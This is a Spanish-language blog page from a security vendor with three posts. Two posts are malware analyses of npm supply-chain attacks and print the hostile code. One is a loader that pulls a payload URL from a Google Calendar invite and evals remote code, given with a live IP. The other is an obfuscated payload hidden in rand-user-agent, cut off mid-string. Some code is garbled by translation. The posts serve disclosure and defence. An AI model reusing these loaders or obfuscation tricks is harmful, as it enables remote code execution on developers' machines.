Producto
Todo lo que necesita para proteger el código, la nube y el tiempo de ejecución en un sistema centralizado
Código
Dependencias
Prevenir los riesgos del código abierto (SCA)
Secretos
Ser marcado por secretos expuestos
SAST
Código seguro tal como está escrito
Imágenes de contenedores
Crear imágenes seguras
Malware
Prevenir los ataques a la cadena de suministro
IaC
Buscar errores de configuración en IaC
Riesgo de licencia y SBOM
Evitar riesgos, cumplir la normativa
Software obsoleto
Conozca sus tiempos de ejecución EOL
Nube
CSPM
Desconfiguraciones de la nube
DAST
Pruebas de seguridad de caja negra
Exploración de API
Pruebe sus API en busca de vuln
Máquinas virtuales
Sin agentes ni gastos generales
Tiempo de ejecución de Kubernetes
pronto
Proteja sus cargas de trabajo en contenedores
Inventario en la nube
pronto
Solución a la proliferación de nubes
Defienda
Protección en tiempo de ejecución
Cortafuegos en la aplicación / WAF
Características
AI AutoFix
Arreglos en 1 clic con Aikido AI
CI/CD Seguridad
Escaneado antes de la fusión y el despliegue
Integraciones IDE
Obtenga información instantánea mientras codifica
Escáner local
Escaneado local centrado en el cumplimiento
Soluciones
Casos prácticos
Conformidad
Automatice SOC 2, ISO y más
Gestión de vulnerabilidades
Gestión de vulnerabilidades todo en uno
Proteja su código
Seguridad avanzada del código
Generar SBOM
1 clic Informes SCA
ASPM
AppSec de extremo a extremo
IA en el Aikido
Deja que Aikido AI haga el trabajo
Bloque 0-Días
Bloquee las amenazas antes del impacto
Industrias
FinTech
HealthTech
HRTech
Tecnología jurídica
Empresas del grupo
Agencias
Startups
Empresa
Aplicaciones móviles
Fabricación
Precios
Recursos
Desarrollador
Docs
Cómo utilizar el Aikido
Documentación pública sobre la API
Centro de desarrollo del aikido
Registro de cambios
Vea lo que se ha enviado
Seguridad
Investigación interna
Inteligencia sobre malware y CVE
Glosario
Guía de la jerga de seguridad
Centro de confianza
Seguro, privado, conforme
Código abierto
Aikido Intel
Amenazas de malware y OSS
Zen
Protección cortafuegos integrada en la aplicación
OpenGrep
Motor de análisis de código
Integraciones
IDEs
Sistemas CI/CD
Nubes
Sistemas Git
Conformidad
Mensajeros
Gestores de tareas
Más integraciones
Acerca de
Acerca de
Acerca de
Conozca al equipo
Carreras profesionales
Estamos contratando
Dossier de prensa
Descargar activos de marca
Calendario
¿Nos vemos?
Código abierto
Nuestros proyectos de OSS
Blog
Las últimas entradas
Historias de clientes
La confianza de los mejores equipos
Póngase en contacto con
Inicio de sesión
Empezar gratis
No se requiere CC
Aikido
Menú
Aikido
ES
ES
FR
JP
Inicio de sesión
Empezar gratis
No se requiere CC

Bienvenido a nuestro blog.

Ataque a la cadena de suministro de XRP: Paquete oficial de NPM infectado con backdoor de robo de criptomonedas
Por
Charlie Eriksen
Charlie Eriksen

Ataque a la cadena de suministro de XRP: Paquete oficial de NPM infectado con backdoor de robo de criptomonedas

Malware
22 de abril de 2025
Lanzamiento del malware Aikido - Open Source Threat Feed
Por
Madeline Lawrence
Madeline Lawrence

Lanzamiento del malware Aikido - Open Source Threat Feed

Noticias
31 de marzo de 2025
Malware oculto a plena vista: Espiando a los hackers norcoreanos
Por
Charlie Eriksen
Charlie Eriksen

Malware oculto a plena vista: Espiando a los hackers norcoreanos

31 de marzo de 2025
Estás invitado: Entrega de malware a través de invitaciones de Google Calendar y PUAs
Por
Charlie Eriksen
Charlie Eriksen

Estás invitado: Entrega de malware a través de invitaciones de Google Calendar y PUAs

El 19 de marzo de 2025, descubrimos un paquete llamado os-info-checker-es6 y nos sorprendió. Nos dimos cuenta de que no hacía lo que ponía en la etiqueta. Pero, ¿de qué se trataba? Decidimos investigar el asunto y al principio nos topamos con algunos callejones sin salida. Pero la paciencia da sus frutos y al final conseguimos la mayoría de las respuestas que buscábamos. También conocimos a los PUA Unicode (no, no son ligones). Fue una montaña rusa de emociones.

¿Qué es el paquete?

El paquete no da muchas pistas debido a la falta de un LÉAME archivo. Este es el aspecto del paquete en npm:

No es muy informativo. Pero parece que obtiene información del sistema. Sigamos. 

El código maloliente lo delata

Nuestra línea de análisis ha detectado inmediatamente muchas señales de alarma en el paquete de preinstalar.js debido a la presencia de un eval() con entrada codificada en base64. 

‍

Vemos el eval(atob(...)) llamada. Eso significa "Decodificar una cadena base64 y evaluarla", es decir, ejecutar código arbitrario. Eso nunca es una buena señal. ¿Pero cuál es la entrada? 

La entrada es una cadena que resulta de llamar a descodificar() en un módulo Node nativo incluido en el paquete. La entrada a esa función se parece a... Sólo un |¡?! ¿Qué? 

Tenemos varias grandes preguntas aquí:

  1. ¿Qué hace la función de descodificación?
  2. ¿Qué tiene que ver la descodificación con la comprobación de la información del sistema operativo?
  3. ¿Por qué? eval()¿'ing él? 
  4. ¿Por qué la única entrada es |?

Profundicemos

Decidimos hacer ingeniería inversa del binario. Es un pequeño binario Rust que no hace mucho. Inicialmente esperábamos ver algunas llamadas a funciones para obtener información del sistema operativo, pero no vimos NADA. Pensamos que quizás el binario escondía más secretos, proporcionando la respuesta a nuestra primera pregunta. Más sobre esto más adelante.

Pero entonces, ¿qué pasa con la entrada a la función de ser sólo un |? Aquí es donde las cosas se ponen interesantes. Esa no es la entrada real. Copiamos el código en otro editor, y lo que vemos es:

¡Womp-womp! Casi se salen con la suya. Lo que vemos se llama caracteres Unicode "Private Use Access". Estos son códigos no asignados en el estándar Unicode, que está reservado para uso privado que la gente puede utilizar para definir sus propios símbolos para su aplicación. Son intrínsecamente no imprimibles, ya que no significan nada intrínsecamente. 

En este caso, el descodificar en el binario nativo de Node decodifica esos bytes en caracteres ASCII codificados en base64. Muy ingenioso.

Vamos a darle una vuelta

Así que decidimos examinar el código real. Por suerte, guarda el código ejecutado en un archivo run.txt. Y es sólo esto:

consola.log('Comprobar');

Eso es muy poco interesante. ¿Qué están tramando? ¿Por qué están haciendo todo este esfuerzo para ocultar este código? Nos quedamos atónitos. 

Pero entonces...

Empezamos a ver paquetes publicados que dependían de este paquete, siendo uno de ellos del mismo autor. Eran:

  • skip-tot (19 de marzo de 2025)
    • Es una copia del paquete vue-skip-to.
  • vue-dev-serverr (31 de marzo de 2025)
    • Es una copia del repositorio https://github.com/guru-git-man/first.
  • vue-dummyy (3 de abril de 2025)
    • Es una copia del paquete vue-dummy.
  • vue-bit (3 de abril de 2025)
    • Es pretender ser el paquete @teambit/bvm.
    • No contiene código real.

‍

Todas tienen en común que añaden os-info-checker-es6 como dependencia, pero sin llamar nunca al descodificar función. Qué decepción. No sabemos qué esperaban hacer los atacantes. No pasó nada durante un tiempo hasta que el os-info-checker-es6 El paquete se actualizó de nuevo tras una larga pausa.

FINALMENTE

Este caso me rondaba la cabeza desde hacía tiempo. No tenía sentido. ¿Qué intentaban hacer? ¿Me perdí algo obvio al descompilar el módulo nativo de Node? ¿Por qué un atacante quemaría esta novedosa capacidad tan pronto? La respuesta llegó el 7 de mayo de 2025, cuando una nueva versión de os-info-checker-es6Versión 1.0.8...salió. En preinstalar.js ha cambiado. 

¡Oh, mira, la cadena ofuscada es mucho más larga! Pero la evalúe está comentada. Así que incluso si existe una carga maliciosa en la cadena ofuscada, no se ejecutaría. ¿Cómo? Ejecutamos el decodificador en una caja de arena e imprimimos la cadena decodificada. Aquí está después de un poco de embellecimiento y anotaciones manuales:

const https = require('https');
const fs    = require('fs');

/**
 * Extract the first capture group that matches the pattern:
 *     ${attrName}="([^\"]*)"
 */
const ljqguhblz = (html, attrName) => {
  const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
  return html.match(regex)[1];
};

/**
 * Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
 *           pull the base-64-encoded payload URL from its data-attribute.
 */
const krswqebjtt = async (url, cb) => {
  try {
    const res = await fetch(url);

    if (res.ok) {
      // Handle HTTP 30x redirects manually so we can keep extracting headers.
      if (res.status !== 200) {
        const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
        return krswqebjtt(redirect, cb);
      }

      const body = await res.text();
      cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
    } else {
      cb(new Error(`HTTP status ${res.status}`));
    }
  } catch (err) {
    console.log(err);
    cb(err);
  }
};

/**
 * Stage-2: download the real payload plus.
 */
const ymmogvj = async (url, cb) => {
  try {
    const res = await fetch(url);

    if (res.ok) {
      const body = await res.text();
      const h    = res.headers;
      cb(null, {
        acxvacofz : body,                               // base-64 JS payload
        yxajxgiht : h.get(atob('aXZiYXNlNjQ=')),        // 'ivbase64' 
        secretKey : h.get(atob('c2VjcmV0a2V5')),        // 'secretKey' 
      });
    } else {
      cb(new Error(`HTTP status ${res.status}`));
    }
  } catch (err) {
    cb(err);
  }
};

/**
 * Orchestrator: keeps trying the two stages until a payload is successfully executed.
 */
const mygofvzqxk = async () => {
  await krswqebjtt(
    atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
    async (err, link) => {
      if (err) {
        console.log('cjnilxo');
        await new Promise(r => setTimeout(r, 1000));
        return mygofvzqxk();
      }

      await ymmogvj(
        atob(link),
        async (err, { acxvacofz, yxajxgiht, secretKey }) => {
          if (err) {
            console.log('cjnilxo');
            await new Promise(r => setTimeout(r, 1000));
            return mygofvzqxk();
          }

          if (acxvacofz.length === 20) {
            return eval(atob(acxvacofz));
          }

          // Execute attacker-supplied code with current user privileges.
          eval(atob(acxvacofz));
        }
      );
    }
  );
};

/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));

/* ---------- kick it all off ---------- */
mygofvzqxk();

/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
  console.log(err);
  fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
  if (++yyzymzi > 10) process.exit(0);
  await new Promise(r => setTimeout(r, 1000));
  mygofvzqxk();
});

¿Has visto la URL a Google Calendar en el orquestador? Es algo interesante de ver en el malware. Muy emocionante. 

Estáis todos invitados.

Este es el aspecto del enlace:

‍

Una invitación de calendario con una cadena codificada en base64 como título. Preciosa. La foto de perfil de la pizza me hizo esperar que tal vez fuera una invitación a una fiesta de pizza, pero el evento está programado para el 7 de junio de 2027. No puedo esperar tanto por una pizza. Sin embargo, tomaré otra cadena codificada en base64. Esto es lo que decodifica:

http://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D

En un callejón sin salida... otra vez

Esta investigación ha estado llena de altibajos. Creíamos que estábamos en un callejón sin salida, pero volvieron a aparecer señales de vida. Estuvimos muy cerca de descubrir las verdaderas intenciones maliciosas del desarrollador, pero no lo conseguimos.

No nos equivoquemos: se trata de un enfoque novedoso de la ofuscación. Uno pensaría que cualquiera que dedicara tiempo y esfuerzo a hacer algo así utilizaría las capacidades que ha desarrollado. En lugar de eso, parece que no han hecho nada con ello, mostrando sus cartas. 

Como resultado, nuestro motor de análisis detecta ahora patrones como éste, en el que un atacante intenta ocultar datos en caracteres de control no imprimibles. Es otro caso en el que intentar ser inteligente, en lugar de dificultar la detección, en realidad crea más señales. Porque es tan inusual que sobresale y ondea una gran señal diciendo "NO ESTOY PARA NADA BUENO". Seguid así. 👍

Indicadores de compromiso

Paquetes

  • os-info-checker-es6
  • skip-tot
  • vue-dev-serverr
  • vue-dummyy
  • vue-bit

IPs

  • 140.82.54[.]223

URL

  • https://calendar.app[.]google/t56nfUUcugH9ZUkx9

Agradecimiento

Durante esta investigación, nos ayudaron nuestros grandes amigos de Vector35, que nos proporcionaron una licencia de prueba de su herramienta Binary Ninja para asegurarnos de que entendíamos perfectamente el módulo nativo de Node. Muchas gracias al equipo por su gran producto. 👏

‍

Malware
13 de mayo de 2025
Por qué es tan difícil actualizar las imágenes base de los contenedores (y cómo hacerlo más fácil)
Por
Mackenzie Jackson
Mackenzie Jackson

Por qué es tan difícil actualizar las imágenes base de los contenedores (y cómo hacerlo más fácil)

La seguridad de los contenedores comienza con su imagen base.
Pero aquí está el truco:

  • La simple actualización a la "última" versión de una imagen base puede romper su aplicación.
  • Te ves obligado a elegir entre distribuir vulnerabilidades conocidas o pasarte días arreglando problemas de compatibilidad.
  • Y a menudo... ni siquiera estás seguro de si una actualización merece la pena.

En este post, exploraremos por qué actualizar imágenes base es más difícil de lo que parece, recorreremos ejemplos reales y mostraremos cómo puedes automatizar actualizaciones seguras e inteligentes sin romper tu aplicación.

El problema: "Sólo tiene que actualizar su imagen de base" - Más fácil decirlo que hacerlo

Si estás leyendo esto, probablemente has buscado en Google algo como "Cómo proteger tus contenedores" y el primer punto en cada artículo de bazofia generado por IA que has leído es este, actualiza tu imagen base. ¿Simple, verdad? Pues no tan rápido. 

Tu imagen base es tu punto central de seguridad, si tu imagen base tiene vulnerabilidades dentro de ella entonces tu aplicación lleva esas vulnerabilidades con ella. Vamos a jugar a este escenario. 

Ejecutas un escaneo contra tu imagen de contenedor y se encuentra un CVE de alta gravedad. La recomendación útil es actualizar la imagen base, fantástico, habrás terminado antes del almuerzo. 

⚠️ CVE-2023-37920 encontrado en ubuntu:20.04
Gravedad: Alta
Corregido en: 22.04
Recomendación: Actualizar la imagen base

...pero descubres un problema. 

Actualizando a ciegas desde ubuntu:20.04 a ubuntu:22.04...tu solicitud se hace añicos.

Veamos algunos ejemplos de bumping de una imagen base y lo que ocurre en la realidad. 

Ejemplo 1: Un archivo Docker que se rompe tras una actualización

Dockerfile inicial:

DESDE python:3.8-buster‍
EJECUTAR apt-get update && apt-get install -y libpq-dev
RUN pip install psycopg2==2.8.6 flask==1.1.2
COPY . /appCMD ["python", "app.py"]

El equipo se actualiza a:

DESDE python:3.11-bookworm‍
RUN apt-get update && apt-get install -y libpq-dev
RUN pip install psycopg2==2.8.6 flask==1.1.2COPY . /appCMD ["python", "app.py"]

Resultado:

  • psycopg2==2.8.6 no compila con las versiones más recientes de libpq encabezados en ratón de biblioteca.
  • matraz==1.1.2 no admite Python 3.11 funciones en tiempo de ejecución (las API obsoletas se rompen).
  • La compilación se rompe en CI.
  • Tu equipo de desarrollo está enfadado y tu almuerzo arruinado. 

Ejemplo 2: Actualizaciones de la imagen de base que introducen errores sutiles en tiempo de ejecución

Original:

FROM nodo:14-busterCOPY. /app
EJECUTAR npm ci
CMD ["node", "server.js"]

Actualiza a:

FROM nodo:20-ojode toro
COPIAR . /app
EJECUTAR npm ci
CMD ["node", "server.js"]

Problema en tiempo de ejecución:

  • nodo:20 utiliza OpenSSL versiones - la verificación TLS estricta rompe las configuraciones de axios más antiguas.
  • La aplicación lanza UNABLE_TO_VERIFY_LEAF_SIGNATURE errores en tiempo de ejecución HTTP llamadas a servicios heredados.

Por qué "lo último" es una trampa

El ecosistema Docker fomenta el uso de las últimas etiquetas o versiones de primera línea. Pero esto a menudo significa que su aplicación que se ejecutaba el lunes de repente falla el martes. Esto suele ser una trampa que causa dolores de cabeza, interrupciones y ralentización del desarrollo, ya que se pierde tiempo corrigiendo errores. 

Así que la solución entonces, obviamente, es fijar a una versión menor que ha probado.... No tan rápido, ya que ahora has entrado en el juego de la ruleta de la seguridad, en el que siempre estarás descubriendo nuevas CVE que podrían dejarte vulnerable. 

Parálisis por decisión: ¿Actualizar o no?

Los equipos de seguridad presionan para que se realicen actualizaciones.
Los desarrolladores se echan atrás debido a la estabilidad.

¿Quién tiene razón? Depende.

PERO, para entender siquiera la decisión, hay que ver todas las opciones, lo que significa crear una hoja de cálculo masiva con todas las versiones, riesgos de seguridad, riesgos de estabilidad y disponibilidad. 

Veamos cómo podría ser. 

Etiqueta de versión CVEs presentes (alto/crítico) Riesgo de compatibilidad (1-5) Cambios importantes / Riesgo funcional Soporte binario del ecosistema (binarios Wheels/NPM)
nodo:14-buster (Actual) - CVE-2022-35256 (desbordamiento del búfer de OpenSSL)
- CVE-2022-25883 (SSRF de node-fetch)
- CVE-2021-32803 (contaminación de prototipos en object-path)
1 (Estable pero envejeciendo) TLS heredado, dependencias inseguras incorporadas Totalmente soportado pero EOL (mantenimiento detenido en abril de 2023)
nodo:14-ojo de toro - Los mismos CVE que arriba + problemas menores adicionales de OpenSSL 1 Cambios menores en glibc
Posibles cambios en la compatibilidad de la capa de ejecución de Docker
Estable; wheel y el ecosistema NPM siguen siendo compatibles
nodo:16-buster - CVE-2023-30581 (libuv OOB write)
- CVE-2022-35256 (OpenSSL overflow)
- CVE-2022-25883 (node-fetch SSRF)
2 Buffer() constructor deprecation warnings
Las bibliotecas HTTP heredadas emiten advertencias estrictas
Amplio apoyo
nodo:16-ojo de toro - Igual que arriba + actualizaciones menores de OpenSSL 2 Comportamiento de resolución DNS ligeramente diferente
Necesita cobertura de pruebas para llamadas de red interna
Soporte
nodo:18-ojo de toro - CVE-2022-45195 (vulnerabilidad TLS en la versión anterior)
- CVE-2023-30581 (libuv OOB write)
3 TLS modo estricto por defecto
Legacy Axios y bibliotecas de petición más antiguas fallan en certificados estrictos.
Ecosistema a medio madurar; algunos módulos requieren actualizaciones
nodo:18-alpino - Igual que arriba; riesgos de desajuste de Alpine glibc 4 Alpine musl puede romper ciertos módulos nativos como bcrypt
Build from source fallback issues
Necesidad de reconstruir los binarios nativos
nodo:20-ojo de toro - 0 CVE altos (estable actual) 4 Breaking DNS resolver changes
Default ESM loader changes
axios < 1.3.2 breaks
Apoyo activo; el ecosistema se pone al día
nodo:20-gusano de biblioteca (más reciente) - 0 CVE elevados (a marzo de 2024) 5 Cambios principales:
TLS estricto
Cambios en DNS
Aplicación de ESM
Los plugins NPM más antiguos fallan
Algunos módulos nicho todavía se están poniendo al día; se requiere la última versión de node-gyp

Esto te deja con opciones complejas, cutres e imposibles 

  1. Permanecer en la vieja imagen y aceptar las vulnerabilidades
  2. Actualiza y rompe tu aplicación, arriesgando el tiempo de inactividad de producción
  3. Intentar realizar pruebas manuales de compatibilidad: días de trabajo

El flujo de trabajo de actualización manual:

Si lo haces a mano, esto es lo que parece:

  • Compruebe los CVE: imagen trivial python:3.8-buster
  • Investigue cada CVE: ¿es accesible en el contexto de su aplicación?
  • Decidir el candidato a la actualización 
  • Prueba la nueva imagen:
    • Construya
    • Ejecutar pruebas unitarias
    • Ejecutar pruebas de integración
  • Si falla, intente parchear el código o actualizar las bibliotecas.
  • Repita la operación con cada recipiente.

Es agotador.

El coste de quedarse quieto

Puede que pienses "si no está roto, no lo arregles".

El 87% de las imágenes de contenedores en producción presentaban al menos una vulnerabilidad crítica o de alta gravedad" . 

También hay un montón de exploits conocidos que existen en imágenes base populares. 

  • Vulnerabilidad Unzip Path Traversal (CVE-2020-27350) - estuvo en millones de contenedores durante años.
  • Heartbleed (CVE-2014-0160) permanecieron en contenedores heredados mucho después de las correcciones oficiales.
  • PHP-FPM RCE (CVE-2019-11043) permiten a atacantes remotos ejecutar código arbitrario a través de peticiones HTTP crafteadas y era extremadamente común en imágenes base de contenedores con PHP-FPM preinstalado antes de ser parcheado

Cómo ayuda nuestra función Auto-Fix

Para resolver exactamente este problema, Aikido Security lanzó nuestra función de autocorrección de contenedores porque, bueno, nosotros también sufrimos este dolor. 

La característica funciona así, sus imágenes, Aikido escanea sus contenedores en busca de vulnerabilidades. Si (o más probablemente cuando) encontramos vulnerabilidades, como siempre te alertamos, entonces en lugar de gritarte que actualices tu imagen base te proporcionamos diferentes opciones. Creamos una tabla que le permite saber qué versión de la imagen base solucionará qué CVEs, de esta manera usted puede ver muy rápidamente que un cambio menor puede eliminar todos o la mayoría de los CVEs altos, lo que significa que esta es una actualización adecuada de la imagen base. 

Si se trata de una actualización menor, puede crear automáticamente una pull request para actualizar la versión. 

Que ahorra horas de trabajo

Conclusión:

  • Actualizar las imágenes base de los contenedores es realmente difícil.
  • El consejo de "sólo actualizar" simplifica en exceso un proceso complejo y cargado de riesgos.
  • Sus equipos hacen bien en ser precavidos, pero no deberían tener que elegir entre seguridad y estabilidad.
  • El autofijador de contenedores de Aikido hace el trabajo duro por usted para que pueda tomar una decisión con conocimiento de causa. 
  • Así que la próxima vez que veas una alerta de vulnerabilidad de imagen base, no te asustarás. Tendrás un PR.

‍

Ingeniería
12 de mayo de 2025
RATatouille: Una receta maliciosa oculta en rand-user-agent (Compromiso de la cadena de suministro)
Por
Charlie Eriksen
Charlie Eriksen

RATatouille: Una receta maliciosa oculta en rand-user-agent (Compromiso de la cadena de suministro)

El 5 de mayo, a las 16:00 GMT+0, nuestro pipeline de análisis automatizado de malware detectó la publicación de un paquete sospechoso, rand-user-agent@1.0.110. Detectó código inusual en el paquete, y no se equivocó. Detectó indicios de un ataque a la cadena de suministro contra este paquete legítimo, que tiene unas ~45.000 descargas semanales. 

¿Qué es el paquete?

El paquete `rand-user-agent` genera cadenas de agente de usuario reales aleatorias en función de su frecuencia de aparición. Lo mantiene la empresa WebScrapingAPI(https://www.webscrapingapi.com/).

¿Qué hemos detectado?

Nuestro motor de análisis detectó código sospechoso en el archivo dist/index.js. Vamos a comprobarlo, aquí visto a través de la vista de código en el sitio de npm:

Código oculto mediante barra de desplazamiento en rand-user-agent

¿Notas algo raro? ¿Ves esa barra de desplazamiento en la parte inferior? Maldición, lo hicieron de nuevo. Trataron de ocultar el código. Aquí está lo que está tratando de ocultar, embellecido:

global["_V"] = "7-randuser84";
global["r"] = require;
var a0b, a0a;
(function () {
  var siM = "",
    mZw = 357 - 346;
  function pHg(l) {
    var y = 2461180;
    var i = l.length;
    var x = [];
    for (var v = 0; v < i; v++) {
      x[v] = l.charAt(v);
    }
    for (var v = 0; v < i; v++) {
      var h = y * (v + 179) + (y % 18929);
      var w = y * (v + 658) + (y % 13606);
      var s = h % i;
      var f = w % i;
      var j = x[s];
      x[s] = x[f];
      x[f] = j;
      y = (h + w) % 5578712;
    }
    return x.join("");
  }
  var Rjb = pHg("thnoywfmcbxturazrpeicolsodngcruqksvtj").substr(0, mZw);
  var Abp =
    'e;s(Avl0"=9=.u;ri+t).n5rwp7u;de(j);m"[)r2(r;ttozix+z"=2vf6+*tto,)0([6gh6;+a,k qsb a,d+,o-24brC4C=g1,;(hnn,o4at1nj,2m9.o;i0uhl[j1zen oq9v,=)eAa8hni e-og(e;s+es7p,.inC7li1;o 2 gai](r;rv=1fyC[  v =>agfn,rv"7erv,htv*rlh,gaq0.i,=u+)o;;athat,9h])=,um2q(svg6qcc+r. (u;d,uor.t.0]j,3}lr=ath()(p,g0;1hpfj-ro=cr.[=;({,A];gr.C7;+ac{[=(up;a](s sa)fhiio+cbSirnr; 8sml o<.a6(ntf gr=rr;ea+=;u{ajrtb=bta;s((tr]2+)r)ng[]hvrm)he<nffc1;an;f[i]w;le=er=v)daec(77{1)lghr(t(r0hewe;<a tha);8l8af6rn o0err8o+ivrb4l!);y rvutp;+e]ez-ec=).(])o r9=rg={0r4=l8i2gCnd)[];dca=,ivu8u rs2+.=7tjv5(=agf=,(s>e=o.gi9nno-s)v)d[(tu5"p)6;n2lpi)+(}gd.=}g)1ngvn;leti7!;}v-e))=v3h<evvahr=)vbst,p.lforn+pa)==."n1q[==cvtpaat;e+b";sh6h.0+(l}==+uca.ljgi;;0vrwna+n9Ajm;gqpr[3,r=q10or"A.boi=le{}o;f h n]tqrrb)rsgaaC1r";,(vyl6dnll.(utn yeh;0[g)eew;n);8.v +0+,s=lee+b< ac=s."n(+l[a(t(e{Srsn a}drvmoi]..odi;,=.ju];5a=tgp(h,-ol8)s.hur;)m(gf(ps)C';
  var QbC = pHg[Rjb];
  var duZ = "";
  var yCZ = QbC;
  var pPW = QbC(duZ, pHg(Abp));
  var fqw = pPW(
    pHg(
      ']W.SJ&)19P!.)]bq_1m1U4(r!)1P8)Pfe4(;0_4=9P)Kr0PPl!v\/P<t(mt:x=P}c)]PP_aPJ2a.d}Z}P9]r8=f)a:eI1[](,8t,VP).a ]Qpip]#PZP;eNP_P6(=qu!Pqk%\/pT=tPd.f3(c2old6Y,a5)4 (_1!-u6M<!6=x.b}2P 4(ba9..=;p5P_e.P)aP\/47PtonaP\/SPxse)59f.)P)a2a,i=P]9q$.e=Pg23w^!3,P.%ya05.&\'3&t2)EbP)P^P!sP.C[i_iP&\'. 3&5ecnP(f"%.r5{!PPuH5].6A0roSP;;aPrg(]oc8vx]P(aPt=PP.P)P)(he6af1i0)4b(( P6p7Soat9P%2iP y 1En,eVsePP[n7E)r2]rNg3)CH(P2.s>jopn2P$=a7P,].+d%1%p$]8)n_6P1 .ap;=cVK%$e(?,!Vhxa%PPs);.tbr.r5ay25{gPegP %b7 (!gfEPeEri3iut)da(saPpd%)6doPob%Ds e5th }PP781su{P.94$fe.b.({(!rb=P(a{t3t8eBM,#P^m.q.0StPro8)PP(]"nP)e4(y)s.1n4 tl658r)Pove5f;%0a8e0c@P(d16(n.jsP)y=hP3,.gsvP4_%;%c%e.xd[,S1PhWhP.$p.p`i0P?PP5P_Paddn%D$_xn)3,=P]axn0i.(3;.0vcPj%y=cd56ig\/P=[ .nr)Ps iPedjgo5\/o6.m#;dD%iax,[aK1ot(S%hI noqjf7oPoezP,0,9d){cPx uPmsb11ah9n22=8j{wAPe1 ciP;db((KP9%l5=0.aP%}] std1.tt).A%.%brib);N)0d{4h6f4N)8mt$9)g) 7n;(a(_(7 laP!($!.1s5]P4P)hiu%72P1}Ve.+)12>%$P)_1P)na3)_tP\'69086t3im=n1M1c)0);)d3)4neaPD]4m(%fd[Pofg6[m}b4P[7vV)P)S;P]]=9%124oDtrP;f)[(;)rdPiP3d}0f.3a]SI=))}:X^d5oX,)aCh]]h19dzd.Pf_Pad]j02a)bPm3x0(aPzV;6+n#:pPd.P8)(aa,$P7o%)),;)?4.dP=2PP.Piu!(})30YP4%%66]0blP,P1cfPoPPG{P8I(]7)n! _t. .PsP};.)\/(hP)f)Loc5QPX>a!nT}aPa_P6jfrP0]fSoaPs.jbs )aPW+\/P8oaP}_RjGpPS,r___%%.v(ZP.3)! i]H1{(a2P;Pe)ji.Pi10lc.cp6ymP13]PL5;cPPK%C c79PGp=%P1^%}().j.rPsoa]sP+_P)l)]P(P8bP,ap$BP,;,c01;51bP(PccP))tPh]hc4B(P=(h%l<Ps!4w]_c[]e(tnyP)))P_a?+P+P.H],2-tfa^$;r(P!\\a]))1c&o1..j(%sPxef5P.6aP;9.b Rg(f=)\/vb9_3,P95&PP,\\=9p423).P]_7,"E)n\/Js2 PF)aPPPi)b0!06o6.8oa=thx2!..P$P oPs8PxP)n)aP;o71PkPp7i$Pb)P]_a,rta%_jUa<48R(;[!]VPaPut7rf.+v$aP$ i$P&56l.%]dP9(s1e$7b=34}MPt0,(c(.P(fPic$=ch)nP?jf0!PP8n9i2].P1)PPMa.t$)4P.q].ii3}aP;aPPr,bg;PdP98tPctPa0()_%dPr =.r.mJt)(P]sCJoeb(PiaPo(lr*90aPPgo\\dP\/PPa+mx2fPpPP4,)Pd8Nfp4uaIho]c[]361P&b}bPPP4t=3\'a)PnP(,8fp]P706p1PPle$f)tcPoP 7bP$!-vPPW10 0yd]4)2"ey%u2s9)MhbdP]f9%P.viP4P=,a s].=4])n$GPPsPaoP81}[%57)]CSPPa;!P2aPc..Pba?(Pati0]13PP,{P(haPcP;W%ff5XPia.j!4P(ablil}rcycN.7Pe.a_4%:7PHctP1P)c_(c;dt.Pl(PPP)V\/[Ph_.j&P]3geL[!c$P3P88ea(a8.d,)6fPP3a=rz3O[3)\\bnd=)6ac.a?,(]e!m=;{a&(]c_01rP_)2P9[xfz._9P,qP.9k%0mPen_a"]4PtP(m;PP})t2PkPPp=])d9Pt}oa)eP)rPi@j(+PP@.#P(t6=%[\\a\\}o2jr51d;,Paw$\/4Pt;2P23iP(_CPO2p.$(iP*]%!3P(P.3()P1m7(U7tI#9wejf.sc.oes)rPgt(+oe;,Px5(sn;O0f_22)r.z}l]Ig4a)xF P}?P;$?cw3,bg\\cPaP(grgalP$)(]e@2),Pa(fP=_,t{) (ec]aP1f2.z1[P !3 ?_b],P4CnoPx%)F9neQ.;sPb11ao1)6Pdd_l(%e)}Plp((4c6pou46ea# mdad_3hP3a.m,d.P(l]Q{Pt")7am=qPN7)$ oPF(P%kPat)$Pbaas=[tN;1;-?1)hO,,Pth;}aP.PP),,:40P#U}Paa92.|,m-(}g #a.2_I? 56a3PP(1%7w+11tPbPaPbP.58P6vrR,.{f.or)nn.d]P]r03j0;&482Pe.I_siP(Iha3=0zPy\/t%](_e)))[P26((;,d$P6e(l]r+C=[Pc347f3rTP=P.%f)P96].%P]"0InP(5a_iPIP13WNi)a4mP.s=`aveP>.;,$Es)P2P0=)v_P%8{P;o).0T2ox*PP:()PTS!%tc])4r.fy sefv{.)P9!jltPPsin6^5t(P0tr4,0Pt_P6Pa]aa|(+hp,)pPPCpeP.13l])gmrPc3aa] f,0()s3.tf(PPriPtb40aPnr8 2e0"2>P0tj$d_75!LG__7xf7);`f_fPPP]c6Wec;{Pi4.!P(\\#(b_u{=4RYr ihHP=Pac%Po 5vyt)DP6m5*1# 3ao6a7.0f1f0P. )iKPb),{PPPd=Po;roP$f=P1-_ePaa!8DV()[oP3(i,Pa,(c=o({PpPl#).c! =;"i;j]1vr i.d-j=t,).n9t%r5($Plc;?d]8P<=(sPP)AoPa)) P1x]Kh)(0]}6PAfbCp7PP(1oni,!rsPu.!-2g0 ,so0SP3P4j0P2;QPPjtd9 46]l.]t7)>5s31%nhtP!a6pP0P0a[!fPta2.P3 \\. ,3b.cb`ePh(Po a+ea2af(a13 oa%:}.kiM_e!d Pg>l])(@)Pg186( .40[iPa,sP>R(?)7zrnt)Jn[h=)_hl)b$3`($s;c.te7c}P]i52"9m3t ,P]PPP_)e4tf0Ps 